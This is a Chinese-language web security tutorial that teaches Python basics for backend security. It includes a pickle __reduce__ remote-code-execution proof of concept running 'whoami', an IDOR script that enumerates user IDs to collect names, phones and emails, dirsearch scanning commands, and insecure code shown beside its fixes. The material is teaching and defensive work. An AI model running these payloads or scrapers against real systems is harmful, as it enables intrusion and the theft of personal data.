网安筑基:Web后端安全——Python篇
网安筑基:Web后端安全——Python篇
前置知识: 本系列从 Web 前端安全(HTML/CSS/JS)出发,依次深入 Web 后端安全领域。包括:
- 网安筑基:Web 服务解析漏洞利用与防御 ← 点击阅读
- 网安筑基:Web前端三剑客及XSS漏洞攻防基础 ← 点击阅读
- 网安筑基:Web后端Part1——从PHP基础到文件上传与WebShell ← 点击阅读
- 网安筑基:Web后端Part2——反序列化漏洞、危险函数与远程文件包含 ← 点击阅读
- 网安筑基:Web后端安全——Python篇 ← 本篇
至此,Web安全系列筑基阶段完结。
一、Python 基础语法速通
1.1 Python 是什么
Python 是一种解释型、面向对象、动态数据类型的高级编程语言,以可读性强、简洁易学著称。
| 项目 | 内容 |
|---|---|
| 官网 | https://www.python.org |
| 当前主流版本 | Python 3.x(Python 2 已于 2020 年停止维护) |
| 特点 | 语法简洁、生态丰富、安全工具众多 |
1.2 注释
# 单行注释:#号后内容不执行
'''多行注释
用三个单引号包裹'''
"""多行注释
用三个双引号包裹"""
1.3 变量
变量是存储数据的容器,由名称和值组成:
a = 10 # a 是变量名,10 是值,= 是赋值符号
name = 'Sinage'
注意: Python 是动态类型语言,变量类型由值自动推断,无需声明类型。
1.4 输入与输出
print("Hello, Python!") # 输出内容到终端
name = input('请输入你的姓名:') # 从键盘读取输入
1.5 缩进:Python 的灵魂
Python 与其他语言最大的区别:不靠大括号 {} 控制代码块,而是靠缩进。
if a > 1:
print(666) # if 分支,缩进 4 空格
else:
print(000) # else 分支,必须同样缩进
⚠️ 常见错误: 缩进不一致会触发
IndentationError。这是 Python 特有的语法规则,也是最容易踩的坑之一。
二、数据类型与流程控制
2.1 六种标准数据类型
| 类型 | 说明 | 示例 |
|---|---|---|
| Numbers(数字) | 不可变类型 | var1 = 1 |
| String(字符串) | 字符序列 | s = 'abcdef' |
| List(列表) | 可变有序集合 | ['Beyond', 786, 2.23] |
| Tuple(元组) | 不可变有序集合,类似只读列表 | ('Beyond', 786) |
| Set(集合) | 无序不重复 | {1, 2, 3} |
| Dictionary(字典) | 键值对映射 | {'name': 'Beyond', 'code': 6734} |
2.2 字符串操作
str = 'Hello World!'
print(str) # 输出完整字符串:Hello World!
print(str[0]) # 输出第一个字符:H
print(str[2:5]) # 输出第三个至第六个字符:llo
2.3 if-elif-else 条件语句
num = 5
if num == 3:
print('3')
elif num == 2:
print('2')
elif num == 1:
print('1')
else:
print('other') # 以上条件均不成立时输出
2.4 while 循环
count = 0
while count < 10:
print('The count is:', count)
count = count + 1
continue 和 break:
i = 1
while i < 10:
i += 1
if i % 2 != 0: # 非双数时跳过输出
continue
print(i) # 输出双数:2、4、6、8、10
i = 1
while 1: # 循环条件必定成立
print(i)
i += 1
if i > 10:
break # 跳出循环
2.5 for 循环
# 遍历字符串
for letter in 'Python':
print("当前字母: %s" % letter)
# 遍历列表
Big4s = ['PwC', 'EY', 'Dtt', 'KPMG']
for big4 in big4s:
print('当前big4:', big4)
# range 生成数字序列
for i in range(1, 10):
print('当前数字:', i)
三、函数与模块
3.1 函数
函数是组织好的、可重复使用的代码段,使用 def 关键字定义:
# 例1:无返回值函数
def printme(name):
"打印传入的字符串"
print('我的名字叫:', name)
printme('Sinage')
# 例2:有返回值函数
def sum(arg1, arg2):
total = arg1 + arg2
print("Total:", total)
return total
result = sum(10, 20)
print(result) # 输出 30
return: 不带表达式的
return相当于返回None。
3.2 模块
模块是扩展名为 .py 的 Python 文件,用于封装函数、类和变量,提升代码的组织性、重用性和可维护性。
| 模块类型 | 说明 | 示例 |
|---|---|---|
| 系统内置模块 | Python 自带标准库,无需安装 | os、sys、random、time |
| 第三方模块 | PyPI 公共仓库,需 pip 安装 | requests、lxml、pandas |
| 自定义模块 | 开发者自己编写的 .py 文件 | 自己写的 myutils.py |
3.3 两种核心导入方式
# 方式一:完整导入(推荐常用核心库)
import requests
resp = requests.get(url)
# 方式二:精准导入(节省资源,推荐特定功能)
from lxml import etree
result = etree.HTML(html)
3.4 pip 包管理
pip 是 Python 的官方包管理器:
# 更新 pip 自身
pip install --upgrade pip
# 安装单个库
pip install requests
# 使用国内镜像源安装(速度更快)
pip install requests -i https://mirrors.aliyun.com/pypi/simple/
# 批量安装 requirements.txt 中的所有依赖
pip install --upgrade -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
💡 安全提示: 安全类 Python 工具(如 sqlmap、dirsearch)通常会提供
requirements.txt文件,列出了所有依赖库,安装前一定要先执行这个命令!
四、类与对象:魔术方法
4.1 类与对象基础
class People:
# __init__ 是构造方法,实例化时自动调用
def __init__(self, name):
self.name = name
print("初始化函数,打印构造函数")
def speak(self):
print("我叫:", self.name)
p1 = People("Sinage") # 实例化对象
p1.speak() # 调用方法
4.2 魔术方法详解
魔术方法(Magic Method)又称双下划线方法或特殊方法,是 Python 为对象提供内置特殊行为的机制。
| 魔术方法 | 触发时机 | 作用 |
|---|---|---|
__init__ |
实例化对象后立即触发 | 初始化对象成员 |
__del__ |
对象被销毁时触发(垃圾回收) | 关闭或释放资源 |
__getstate__ |
pickle.dump() 序列化时调用 |
控制序列化内容 |
__setstate__ |
pickle.load() 反序列化时调用 |
恢复对象状态 |
__reduce__ |
pickle 序列化时调用 | 定义对象如何被序列化 |
init:初始化构造方法
class User:
def __init__(self, username, email):
self.username = username
self.email = email
print(f"用户 {username} 已创建")
user = User("admin", "admin@test.com")
# 输出:用户 admin 已创建
del:析构方法
class FileHandler:
def __init__(self, filename):
self.file = open(filename, 'w')
print("文件已打开")
def write(self, data):
self.file.write(data)
def __del__(self):
self.file.close()
print("文件已关闭,资源已释放")
⚠️ Python 的垃圾回收不是立即执行的,由解释器在适当时机回收未被引用的对象。
getstate / setstate:序列化控制
import pickle
class Config:
def __init__(self, password):
self.password = password # 敏感数据
self.server = "192.168.1.1"
def __getstate__(self):
# 序列化时排除敏感字段
state = self.__dict__.copy()
del state['password']
return state
def __setstate__(self, state):
# 反序列化时恢复状态
self.__dict__.update(state)
self.password = "default" # 敏感字段使用默认值
config = Config("secret123")
data = pickle.dumps(config) # 序列化( password 被排除)
restored = pickle.loads(data) # 反序列化
reduce:自定义序列化行为
import pickle
class RCEPayload:
def __reduce__(self):
# 返回系统命令执行函数及参数
import os
return (os.system, ('whoami',))
payload = RCEPayload()
pickled = pickle.dumps(payload)
pickle.loads(pickled) # 执行 whoami 命令
⚠️ 安全警示: 接收不可信来源的 pickle 数据进行反序列化,可能导致远程代码执行(RCE)!这是 Python 特有的反序列化漏洞利用链(与 PHP 的 unserialize 漏洞原理相同)。
五、网络请求:用 Python 模拟浏览器
5.1 requests 库:Python 的"浏览器"
requests 是 Python 最常用的 HTTP 请求库,用于模拟浏览器向网站发送请求、获取数据:
import requests
url = "https://www.example.com"
resp = requests.get(url)
print(resp.status_code) # 响应状态码
print(resp.text) # 响应文本内容
5.2 请求头配置:伪装成"正经"浏览器
网站通过请求头(Headers)识别访问者是否为真实浏览器:
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Cookie": "session=abc123; token=xyz789",
"Referer": "https://www.example.com/login"
}
| 请求头 | 作用 | 说明 |
|---|---|---|
| User-Agent | 标识访问设备/浏览器 | 必须设置,否则易被识别为爬虫 |
| Cookie | 标识登录状态 | 访问需要登录的页面时必须携带 |
| Referer | 标识请求来源 | 部分网站验证,防止跨站请求 |
5.3 动态 URL:批量生成请求地址
url_template = "http://target.com/user?id={}" #{}为占位符
for i in range(1, 101):
url = url_template.format(i) # 依次填充 id=1, id=2, ... id=100
resp = requests.get(url, headers=headers)
💡 安全视角: 这种"遍历 ID"模式是 IDOR(越权访问) 漏洞的典型特征——服务端仅依赖客户端传来的 ID 参数,未验证当前用户是否有权访问该资源。
六、数据解析:XPath 与 JSON
6.1 解析 HTML:豆瓣电影 Top250 案例
当网页返回 HTML 格式数据时,用 lxml 库的 etree + XPath 定位目标数据:
import requests
from lxml import etree
url = "https://movie.douban.com/top250"
headers = {'User-Agent': 'Mozilla/5.0 ...'}
# 1. 发送请求获取网页内容
resp = requests.get(url, headers=headers)
resp.encoding = 'utf-8'
# 2. 解析 HTML 为可查询结构
tree = etree.HTML(resp.text)
# 3. XPath 定位电影名称
# //div[@class="item"]:匹配 class=item 的 div 标签
# //span[@class="title"][1]:在 div 内找第一个 class=title 的 span
# /text():提取标签内的纯文本
titles = tree.xpath('//div[@class="item"]//span[@class="title"][1]/text()')
# 4. 打印结果
for title in titles:
print(title)
XPath 核心语法速查
| 语法 | 含义 | 示例 |
|---|---|---|
// |
全局匹配(忽略层级) | //div:找所有 div 标签 |
@ |
匹配属性 | div[@class="item"]:找 class=item 的 div |
[n] |
取第 n 个匹配结果 | span[1]:取第一个 span |
/text() |
提取标签内文本 | span/text():取 span 里的文字 |
练习: 如果想提取电影评分(class 为 rating_num),XPath 应该怎么写?
答案:
//div[@class="item"]//span[@class="rating_num"]/text()
6.2 解析 JSON:用户数据爬取案例
JSON 是轻量级数据交换格式,比 HTML 更易解析:
import requests
import json
url = "http://target.com/api/user/1"
headers = {'User-Agent': 'Mozilla/5.0 ...'}
resp = requests.get(url, headers=headers)
# 判断响应状态并解析 JSON
if resp.status_code == 200:
data = resp.json() # 将 JSON 文本转换为字典
if data.get("ok"):
users = []
users.append({
"id": 1,
"username": data["username"],
"phone": data["phone"],
"email": data["email"]
})
print(users)
response.json():将服务器返回的 JSON 文本转换为 Python 字典,可直接用data["key"]提取值。
七、异常处理:try-except
7.1 为什么需要异常处理
代码执行过程中可能遇到各种异常(网络超时、服务器断开、ID 不存在等)。使用 try-except 可以捕获异常,保证程序不会因为单次错误而崩溃:
try:
# 可能出错的代码
for i in range(1, 100):
url = f"http://target.com/api/user/{i}"
resp = requests.get(url, headers=headers, timeout=5)
data = resp.json()
users.append(data)
except Exception as e:
pass # 捕获异常后什么都不做,继续执行下一个循环
💡
pass的意思是"无视这个异常",让循环继续执行下一个 ID 的请求。
7.2 异常处理的三层结构
try:
# 业务逻辑代码
result = risky_operation()
except Exception as e:
# 异常处理逻辑
print(f"出错了: {e}")
finally:
# 无论是否异常都执行(用于资源清理)
print("无论是否出错,这段代码都会执行")
八、安全实战:目录扫描工具 dirsearch
8.1 工具作用
dirsearch 通过字典爆破向目标网站发送请求,根据响应状态码判断隐藏目录/文件(如开发人员遗漏的源码压缩包、后台管理页面)。
8.2 安装与使用(Kali Linux)
# 安装工具
apt-get install dirsearch
# 扫描目标网站
dirsearch -u "http://192.168.2.21/sinage/labs/php"
💡 国内源安装依赖:
pip install --upgrade -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
8.3 扫描结果解读
dirsearch 输出的每行格式为:[时间] 状态码 - 文件大小 - 扫描路径
| 状态码 | 含义 | 渗透价值 |
|---|---|---|
| 200 | 可正常访问 | 高(可直接查看内容) |
| 301/302 | 重定向 | 中(需追踪跳转目标) |
| 403 | 访问被禁止 | 低(但可能泄露配置信息) |
⚠️ 关键发现: 扫描结果中如果出现以下文件,应立即标记为高危:
[x] 200 - 4KB - /sinage/labs/php/web.zip
web.zip、backup.rar:网站源码备份文件- 下载后可直接分析源码,发现更多漏洞
8.4 工具原理
# dirsearch 本质是 Python 循环发送不同路径的请求
import requests
paths = ['admin.php', 'backup.zip', '.htaccess', 'web.zip']
for path in paths:
url = f"http://target.com/{path}"
resp = requests.get(url)
if resp.status_code == 200:
print(f"发现文件: {url}")
九、安全实战:IDOR 漏洞挖掘
9.1 什么是 IDOR
IDOR(Insecure Direct Object Reference,不安全的直接对象引用):应用系统通过用户提供的输入(如 ID 参数)直接访问内部对象,而未验证当前用户是否有权访问该对象,导致垂直越权或水平越权。
9.2 攻击步骤
第一步:打开 BurpSuite,开启代理
配置浏览器流量通过 BurpSuite,拦截 HTTP 请求。
第二步:找到个人信息请求
在 HTTP 历史记录中定位到获取个人信息的请求,通常带有用户 ID 参数:
GET /api/user?id=1 HTTP/1.1
第三步:修改 ID 参数
将 id=1 修改为 id=2、id=3 等,观察响应:
GET /api/user?id=2 HTTP/1.1
Host: target.com
Cookie: session=abc123
第四步:判断漏洞
- 如果返回了其他用户的数据 → IDOR 漏洞确认
- 如果返回 403 或空数据 → 服务端有权限校验
9.3 靶场实例:某商品管理系统(靶场为内部培训用靶场,此处作脱敏处理)
在靶场环境中,通过遍历用户 ID 批量爬取用户数据:
import requests
import json
users = []
for i in range(1, 21):
url = f"http://ctf.XXXXXXXX.cn/api/user?id={i}"
headers = {'User-Agent': 'Mozilla/5.0 ...'}
try:
resp = requests.get(url, headers=headers, timeout=5)
data = resp.json()
if data.get("ok"):
users.append({
"id": i,
"username": data["username"],
"phone": data["phone"],
"email": data["email"]
})
except Exception:
pass
print(f"共获取 {len(users)} 条用户数据")
⚠️ 此脚本仅用于授权靶场环境学习,禁止用于未授权系统。
十、漏洞防御与知识关联
10.1 代码审计视角:安全编码规范
作为 IT 审计人员,审查 Python Web 应用的代码时,应重点关注以下不安全编码模式:
① 反序列化漏洞:pickle.loads()
# ❌ 不安全:直接反序列化不可信来源的 pickle 数据
import pickle
data = pickle.loads(request.data) # 可能执行任意代码
# ✅ 修复方案:使用 JSON 代替 pickle
import json
data = json.loads(request.data) # JSON 仅传输数据,不执行代码
审计检查点:
- 搜索代码中是否存在
pickle.loads()、pickle.load() - 确认反序列化输入是否来自可信来源
- 检查是否有自定义
__reduce__方法
② SQL 注入:字符串拼接构造 SQL
# ❌ 不安全:直接拼接用户输入到 SQL
user_input = request.args.get('username')
query = f"SELECT * FROM users WHERE name = '{user_input}'"
cursor.execute(query)
# ✅ 修复方案:参数化查询
user_input = request.args.get('username')
query = "SELECT * FROM users WHERE name = %s"
cursor.execute(query, (user_input,))
审计检查点:
- 搜索代码中是否存在
execute(f"...")、execute("SELECT ... " + ...)等字符串拼接 - 确认所有数据库查询均使用参数化查询(Parameterized Query)
- 使用 ORM 框架(如 SQLAlchemy)从源头避免 SQL 注入
③ 敏感信息硬编码
# ❌ 不安全:密钥/密码硬编码在代码中
API_KEY = "sk-abcdef1234567890"
PASSWORD = "admin123"
# ✅ 修复方案:使用环境变量
import os
API_KEY = os.environ.get("API_KEY")
DB_PASSWORD = os.environ.get("DB_PASSWORD")
审计检查点:
- 搜索代码中是否存在
"password"、"secret"、"key"等敏感字样的字符串常量 - 确认生产环境配置是否通过环境变量或密钥管理服务(KMS)注入
- 检查
.gitignore是否包含.env文件
④ 越权访问:未校验用户权限
# ❌ 不安全:仅依赖客户端传来的 ID,未校验权限
def get_user_profile(user_id):
return db.query(f"SELECT * FROM users WHERE id = {user_id}")
# ✅ 修复方案:服务端校验当前用户身份和权限
def get_user_profile(request, user_id):
current_user = get_current_user(request) # 从 Session 获取当前登录用户
if current_user.id != user_id and not is_admin(current_user):
raise PermissionDenied() # 无权访问
return db.query("SELECT * FROM users WHERE id = %s", (user_id,))
审计检查点:
- 搜索所有带有
id参数的 API 路由 - 确认每个路由是否都有权限校验逻辑
- 检查是否存在未经验证的直接对象引用(IDOR)
⑤ 敏感文件泄露:Web 目录下的备份文件
# ❌ 不安全:源码备份放在 Web 可访问目录
# /var/www/html/web.zip
# /var/www/html/backup.sql
# ✅ 修复方案:
# 1. 备份文件存放在 Web 根目录之外
# 2. 服务器配置禁止访问 .zip / .bak / .sql 等文件类型
# 3. 定期巡检并清理
审计检查点:
- 检查 Web 根目录下是否存在
.zip、.rar、.bak、.sql、.tar等备份文件 - 审查 Nginx/Apache 配置,确认是否配置了禁止访问敏感文件的规则
- 使用 dirsearch 或类似工具主动扫描,确认无敏感文件暴露
代码审计快速检查清单
| 编号 | 检查项 | 关键词/搜索模式 | 风险等级 |
|---|---|---|---|
| 1 | pickle 反序列化 | pickle.loads、pickle.load |
🔴 高 |
| 2 | SQL 注入 | execute(f"、cursor.execute("SELECT " + |
🔴 高 |
| 3 | 敏感信息硬编码 | "password"、"secret"、"key" 硬编码字符串 |
🟡 中 |
| 4 | IDOR 越权访问 | 带 id 参数的路由,缺少权限校验 |
🔴 高 |
| 5 | 敏感文件泄露 | Web 目录下 .zip、.bak、.sql |
🟡 中 |
| 6 | 缺少请求头验证 | requests 未设置 User-Agent / timeout | 🟢 低 |
| 7 | 缺少异常处理 | 循环中无 try-except,可能中断数据采集 | 🟢 低 |
10.2 防御方案汇总
| 漏洞类型 | 防御方案 |
|---|---|
| IDOR | 服务端校验当前用户权限,禁止仅依赖客户端 ID;使用随机化不可预测的 ID |
| 目录遍历/敏感文件泄露 | 禁止在 Web 根目录存放备份文件;配置服务器禁止访问 .zip、.bak、.sql 等文件 |
| pickle 反序列化 | 禁止反序列化不可信来源的 pickle 数据;使用 JSON 代替 pickle |
| 爬虫反制 | 设置访问频率限制;启用验证码;关键页面要求登录 |
10.3 Python vs PHP:关键差异对比
| 对比维度 | Python | PHP |
|---|---|---|
| 变量声明 | 动态类型,无需声明 | $_GET / $_POST 等超全局变量 |
| 序列化 | pickle(危险!)、json(安全) |
serialize() / unserialize()(危险) |
| 魔术方法 | __init__ / __del__ / __reduce__ 等 |
__construct / __destruct / __wakeup 等 |
| Web 框架 | Django / Flask / FastAPI | 原生 PHP / Laravel / ThinkPHP |
| 反序列化漏洞 | pickle.loads() 恶意数据可 RCE |
unserialize() POP 链 RCE |
10.4 快速排查清单
Python Web 安全自检:
- 是否使用
pickle.loads()处理外部数据?→ 替换为 JSON - 是否有 ID 参数直接访问数据库记录?→ 增加权限校验
- Web 目录下是否有
.zip、.rar、.bak备份文件?→ 立即清理 - requests 请求是否配置了
User-Agent和timeout? - XPath 解析是否对输入做了过滤,防止 XPath 注入?
十一、知识点总结
- Python 数据类型(6种):Numbers、String、List、Tuple、Set、Dictionary
- 模块导入:完整导入
import requestsvs 精准导入from lxml import etree - requests 库:Python 的"浏览器",
headers配置是关键(User-Agent / Cookie / Referer) - XPath 语法:
//div[@class="item"]//span[@class="title"][1]/text() - JSON 解析:
response.json()将 JSON 文本转换为字典 - 异常处理:
try-except保证循环不会因单次错误终止 - dirsearch:目录扫描工具,警惕
.zip源码泄露 - IDOR 漏洞:服务端未校验用户权限,仅依赖客户端 ID
- 魔术方法:
__reduce__可用于 pickle 反序列化 RCE - 防御核心:永远不要相信客户端数据,所有校验必须在服务端完成
靶场推荐
| 靶场 | 地址 | 难度 |
|---|---|---|
| DVWA | https://dvwa.co.uk | 入门 |
| WebGoat | https://owasp.org/www-project-webgoat/ | 入门~中级 |
| Vulhub | https://vulhub.org | 中级~高级 |
本文整理自网络安全课程资料,内容仅供学习与安全意识提升使用。请勿将相关知识用于任何未经授权的系统渗透测试,遵守法律法规。
更多推荐

所有评论(0)